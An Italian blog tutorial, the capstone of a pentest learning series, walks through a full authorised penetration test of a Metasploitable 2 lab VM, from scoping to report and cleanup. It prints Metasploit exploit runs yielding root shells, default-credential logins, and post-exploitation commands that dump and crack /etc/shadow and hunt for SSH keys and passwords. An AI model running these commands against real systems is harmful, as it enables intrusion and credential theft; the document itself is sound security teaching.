Menu
Chi sono Servizi Percorso Lavora con me
Security operations center
Sicurezza Mar 8, 2026 • 30 min di lettura

The Full Audit: A Complete Penetration Test from Start to Finish

Put it all together. Walk through a complete penetration test from scoping to final report. The capstone of The Hacker's Path series.

Condividi:
Lee Foropoulos

Lee Foropoulos

30 min di lettura

Il Percorso dell'Hacker: Serie in 5 Parti

Parte 1: IntroduzioneParte 2: Padronanza del FlipperParte 3: Fondamenti di KaliParte 4: SfruttamentoParte 5: L'Audit Completo

Avete iniziato questa serie chiedendovi cosa fanno davvero gli hacker. Avete imparato che non si tratta di felpe con cappuccio e testo verde. È risoluzione metodica dei problemi. Avete clonato badge, mappato reti, catturato handshake e ottenuto shell su macchine vulnerabili.

Ora mettiamo tutto insieme. Questo articolo vi guida attraverso un test di penetrazione completo contro un bersaglio fittizio. Ogni fase, ogni decisione, ogni scoperta, documentata esattamente come farebbe un professionista.

Lo Scenario

Cliente: Initech Labs (una piccola azienda tech fittizia)

Ambito: Test di penetrazione della rete interna

Obiettivo: Identificare vulnerabilità e dimostrare il potenziale impatto aziendale

Il vostro bersaglio: La vostra rete di laboratorio (Kali + Metasploitable 2 + qualsiasi altra VM configurata)

Preparatevi un caffè. Sarà divertente.

Fase 1: Pre-Ingaggio

Prima di toccare una tastiera, i pentester professionisti gestiscono il lato commerciale. Saltate questo passaggio, e non siete pentester. Siete semplicemente qualcuno che commette reati.

La Chiamata di Scoping

In un ingaggio reale, avreste una chiamata con il cliente per capire:

  • Cosa è nell'ambito? Quali reti, range IP, applicazioni?
  • Cosa è fuori ambito? Sistemi di produzione? Servizi di terze parti?
  • Finestra di test? Quando potete testare? Solo orario lavorativo?
  • Punti di contatto? Chi chiamate se qualcosa si rompe?
  • Obiettivi? Conformità normativa o reale miglioramento della sicurezza?

Per il Vostro Laboratorio

Ambito: Solo la vostra rete di laboratorio isolata. Fuori ambito: Tutto il resto. Finestra di test: Quando volete. Obiettivo: Imparare facendo.

Regole di Ingaggio

Gli ingaggi reali hanno regole scritte:

  • Lettera di autorizzazione - Documento firmato che prova il permesso
  • Procedure di escalation - Cosa fare se si trova qualcosa di critico
  • Gestione dati - Come gestire dati sensibili incontrati
  • Requisiti di pulizia - Rimuovere tutti gli strumenti e backdoor alla fine
  • Tempistica del report - Quando è dovuto il report finale?

Ottenete Sempre un'Autorizzazione Scritta

Anche per test "amichevoli" sulla rete di un amico. Un'email firmata che dice "hai il permesso di testare la mia rete dal DATA al DATA" potrebbe fare la differenza tra un'esperienza di apprendimento e una condanna penale. Prendetelo sul serio.

Fase 2: Ricognizione

È ora di imparare tutto sul bersaglio. In un ingaggio reale, questo includerebbe OSINT: ricerche Google, profili LinkedIn, siti web aziendali, record DNS. Per il nostro laboratorio, passiamo direttamente alla ricognizione attiva.

Passo 1: Scoperta della Rete

Prima domanda: cosa c'è su questa rete?

bash# Trovate il vostro range di rete
ip a | grep inet
# Cercate qualcosa come: inet 192.168.56.100/24

# Scoprite tutti gli host attivi
sudo nmap -sn 192.168.56.0/24 -oA discovery

# Risultati (esempio):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

Documentate tutto:

text# Initech Labs - Scoperta Rete
# Data: 2026-03-08
# Tester: Il Vostro Nome

192.168.56.1   - Gateway/Router
192.168.56.101 - Sconosciuto (da investigare)
192.168.56.102 - Sconosciuto (da investigare)

Passo 2: Scansione Porte

Ora andiamo più a fondo. Quali servizi sono in esecuzione?

bash# Scansione completa porte con rilevamento servizi
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# Per risultati più rapidi durante l'apprendimento:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Su Metasploitable 2, vedrete un tesoro:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

Che esposizione. Aggiorniamo le note:

text192.168.56.101 - Server Linux (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # Backdoor nota!
  - SSH (22): OpenSSH 4.7p1      # Antico
  - Telnet (23): Attivo           # Perché esiste nel 2026?
  - HTTP (80): Apache 2.2.8      # App web da testare
  - SMB (139/445): Samba 3.X     # Potenziale miniera d'oro
  - MySQL (3306): 5.0.51a        # Accesso database?
  - PostgreSQL (5432): Attivo    # Altro DB

Passo 3: Identificazione Vulnerabilità

Vediamo cosa è realmente sfruttabile.

bash# Eseguire script di vulnerabilità
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# Verificare servizi specifici in Metasploit
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

La backdoor di vsftpd 2.3.4 salta subito all'occhio. È una shell garantita. Ma un buon pentester non si ferma alla prima scoperta. Documentate tutto.

Sala server con apparecchiature di rete lampeggianti
Una ricognizione approfondita mappa l'intera superficie di attacco prima di lanciare un singolo exploit. Ogni porta aperta e versione di servizio diventa un dato nella vostra valutazione.

Fase 3: Sfruttamento

Qui le cose si fanno entusiasmanti. Abbiamo molteplici potenziali punti di ingresso. Lavoriamoci sistematicamente.

Vettore di Attacco 1: Backdoor FTP

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

Scoperta documentata: Shell root ottenuta tramite backdoor FTP. Tempo dalla prima scansione alla compromissione totale: circa 10 minuti.

Shell root ottenuta tramite backdoor FTP. Tempo dalla prima scansione alla compromissione totale: circa 10 minuti.

Ma non ci fermiamo qui. Cos'altro possiamo raggiungere?

Vettore di Attacco 2: Samba

bashbackground

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

Un'altra shell root attraverso un vettore diverso. Due percorsi indipendenti verso la compromissione totale.

Vettore di Attacco 3: Applicazioni Web

Vediamo cosa gira sulla porta 80.

bashgobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# Risultati:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

nikto -h http://192.168.56.101

phpMyAdmin con credenziali predefinite? Verifichiamo:

textUsername: root
Password: (vuoto)

# Accesso concesso!

Accesso amministratore al database senza password. Da qui, potremmo estrarre tutti i dati, modificare record o usare le operazioni file di MySQL per scrivere una web shell.

Vettore di Attacco 4: Credenziali SSH Deboli

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Le credenziali deboli concedono accesso SSH. Non root, ma ce ne occuperemo nella post-sfruttamento.

Fase 4: Post-Sfruttamento

Abbiamo l'accesso. E ora? Un vero test di penetrazione dimostra l'impatto aziendale.

Raccolta Credenziali

bashcat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Ricognizione di Rete (Dall'Interno)

bashifconfig
route -n
cat /etc/hosts
arp -a

netstat -tulpn
ss -tulpn

find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

Scoperta Dati Sensibili

bashfind / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

mysql -u root -p
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

Escalation dei Privilegi (da msfadmin)

Ricordate quel login SSH come msfadmin? Escaliamo a root usando ciò che abbiamo imparato nella Parte 4.

bashssh [email protected]
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
Professionista al lavoro con strumenti di cybersicurezza
La post-sfruttamento dimostra il reale impatto aziendale. La differenza tra una scansione di vulnerabilità e un test di penetrazione è dimostrare cosa un attaccante può realmente fare con l'accesso.

Fase 5: Documentazione e Scoperte

Il test è inutile senza un report. Questo separa i professionisti dagli script kiddie.

Riepilogo delle Scoperte

Ecco cosa abbiamo trovato nella rete "Initech Labs", formattato come in un report reale:

CRITICO: Backdoor Servizio FTP (CVE-2011-2523)

Sistema Interessato: 192.168.56.101

Rischio: Esecuzione remota di codice non autenticata come root

Prova: Shell root completa ottenuta in meno di 60 secondi

Raccomandazione: Aggiornare immediatamente vsftpd o disabilitare completamente il servizio FTP.

CRITICO: Esecuzione Remota di Codice Samba

Sistema Interessato: 192.168.56.101

Rischio: Esecuzione remota di codice non autenticata come root

Prova: Shell root completa tramite exploit usermap_script

Raccomandazione: Aggiornare Samba. Limitare l'accesso SMB ai sistemi necessari.

ALTO: Accesso Root MySQL Senza Password

Sistema Interessato: 192.168.56.101

Rischio: Compromissione completa del database, furto dati, deployment web shell

Prova: Login come root con password vuota tramite phpMyAdmin

Raccomandazione: Impostare password root forte. Limitare accesso phpMyAdmin.

ALTO: Credenziali SSH Deboli

Sistema Interessato: 192.168.56.101

Rischio: Accesso autenticato che porta a escalation dei privilegi

Prova: msfadmin:msfadmin autenticato con successo

Raccomandazione: Imporre politica password forti. Implementare autenticazione SSH basata su chiave.

MEDIO: Servizio Telnet Abilitato

Sistema Interessato: 192.168.56.101

Rischio: Credenziali trasmesse in chiaro

Raccomandazione: Disabilitare Telnet. Usare SSH per tutta l'amministrazione remota.

BASSO: Pagina phpinfo() Esposta

Sistema Interessato: 192.168.56.101

Raccomandazione: Rimuovere o limitare l'accesso alle pagine phpinfo.

Riepilogo Esecutivo

Riepilogo Esecutivo

Durante il test di penetrazione della rete interna di Initech Labs, il team di sicurezza ha ottenuto il controllo amministrativo completo del server principale entro 10 minuti dall'inizio della valutazione.

Scoperte Chiave:

10 min
Tempo dalla prima scansione alla compromissione root completa su un server con servizi non aggiornati.
  • 2 vulnerabilità critiche che consentono il controllo remoto immediato
  • 2 problemi di alta severità che espongono database e credenziali utente
  • Molteplici scoperte medie e basse che indicano lacune di sicurezza sistemiche

Conclusione: Un attaccante con competenze di base potrebbe compromettere completamente questo sistema in minuti. Rimedio immediato richiesto per tutte le scoperte critiche e alte.

Fase 6: Pulizia e Chiusura

Un pentester professionista lascia l'ambiente esattamente come l'ha trovato.

bashmsf6 > sessions -l
msf6 > sessions -K
rm /tmp/linpeas.sh
rm /tmp/*.txt
userdel testuser
rm /home/*/.ssh/authorized_keys

In un ingaggio reale:

  • Rimuovere tutti gli strumenti caricati durante i test
  • Documentare qualsiasi modifica all'ambiente
  • Fornire hash/checksum dei dati estratti
  • Eliminare in modo sicuro tutti i dati del cliente dopo la consegna del report

La Checklist Metodologica Completa

Metodologia Test di Penetrazione

  1. Pre-Ingaggio
    • Definire ambito e regole di ingaggio
    • Ottenere autorizzazione scritta
    • Stabilire canali di comunicazione
    • Configurare ambiente di test
  2. Ricognizione
    • Scoperta rete (enumerazione host)
    • Scansione porte e identificazione servizi
    • Scansione vulnerabilità
    • Enumerazione applicazioni web
    • Documentare tutto
  3. Sfruttamento
    • Validare vulnerabilità (non fidarsi ciecamente degli scanner)
    • Sfruttare vulnerabilità confermate
    • Documentare ogni compromissione riuscita
    • Catturare prove (screenshot, log)
  4. Post-Sfruttamento
    • Enumerare il sistema compromesso
    • Raccogliere credenziali
    • Identificare dati sensibili
    • Tentare escalation dei privilegi
    • Cercare opportunità di movimento laterale
  5. Reportistica
    • Scrivere riepilogo esecutivo (impatto aziendale)
    • Documentare tutte le scoperte con prove
    • Fornire raccomandazioni di rimedio
    • Includere dettagli tecnici per team IT
  6. Pulizia
    • Rimuovere tutti gli strumenti e artefatti
    • Chiudere tutte le sessioni e backdoor
    • Documentare modifiche all'ambiente
    • Gestire in modo sicuro i dati del cliente
Piano d'Azione Audit Completo 0/6

Il Prossimo Passo: Il Vostro Percorso

Avete completato Il Percorso dell'Hacker. Siete passati da "cosa significa hacking?" a condurre un test di penetrazione completo. È davvero impressionante.

Ma questo è solo l'inizio. Ecco dove andare:

Piattaforme di Pratica

  • Hack The Box - Macchine realistiche. Iniziate con box "Facili" ritirati.
  • TryHackMe - Percorsi di apprendimento guidati.
  • VulnHub - VM vulnerabili gratuite per pratica locale.
  • PentesterLab - Focus su sicurezza applicazioni web.

Certificazioni (Se Le Volete)

  • eJPT - Eccellente punto di partenza, esame pratico
  • OSCP - Standard del settore, brutale ma rispettato
  • PNPT - Moderno, pratico, include scrittura report
  • CEH - Per requisiti aziendali, meno pratico

Specializzazioni

  • Sicurezza Applicazioni Web - OWASP, Burp Suite, SQL injection, XSS
  • Active Directory - La maggior parte degli ambienti aziendali lo usa
  • Sicurezza Cloud - Pentesting AWS, Azure, GCP
  • Sicurezza Mobile - Test applicazioni Android/iOS
  • Red Teaming - Simulazione completa dell'avversario, fisica + digitale
  • Reverse Engineering - Analisi malware, sviluppo exploit

Costruite il Vostro Laboratorio Domestico

I migliori pentester hanno laboratori domestici elaborati. Iniziate semplice:

  • Aggiungete Windows Server con Active Directory
  • Configurate un domain controller
  • Distribuite applicazioni web vulnerabili (DVWA, bWAPP, WebGoat)
  • Costruite una rete con più segmenti
  • Aggiungete HoneyAegis per vedere gli attacchi dal punto di vista del difensore

Il Percorso dell'Hacker: Completato

Ce l'avete fatta. Tutte e cinque le parti, da curiosi a capaci.

Parte 1: Introduzione Parte 2: Padronanza del Flipper Parte 3: Fondamenti di Kali Parte 4: Sfruttamento Parte 5: L'Audit Completo

Serie Completata - Il Vostro Viaggio

Parte 1: Avete imparato cos'è realmente l'hacking e ottenuto le prime vittorie con il Flipper Zero

Parte 2: Avete padroneggiato ogni protocollo Flipper: Sub-GHz, RFID, NFC, BadUSB, GPIO

Parte 3: Avete costruito il vostro laboratorio Kali, imparato nmap e catturato handshake WiFi

Parte 4: Avete padroneggiato Metasploit, sfruttamento, escalation dei privilegi e pivoting

Parte 5: Avete messo tutto insieme in una metodologia completa di test di penetrazione

La sicurezza non è una destinazione. È una pratica. Gli strumenti cambieranno, le vulnerabilità evolveranno, ma la metodologia resta la stessa. Mettete tutto in discussione. Documentate tutto. Non smettete mai di imparare.

Benvenuti dall'altra parte.

  • Lee
How was this article?

Condividi

Link copied to clipboard!

You Might Also Like

Lee Foropoulos

Lee Foropoulos

Business Development Lead at Lookatmedia, fractional executive, and founder of gotHABITS.

🔔

Non perdere nessun articolo

Ricevi una notifica quando vengono pubblicati nuovi articoli. Nessuna email richiesta.

Vedrai un banner sul sito quando viene pubblicato un nuovo articolo, oltre a una notifica del browser se lo consenti.

Solo notifiche del browser. Niente spam, niente email.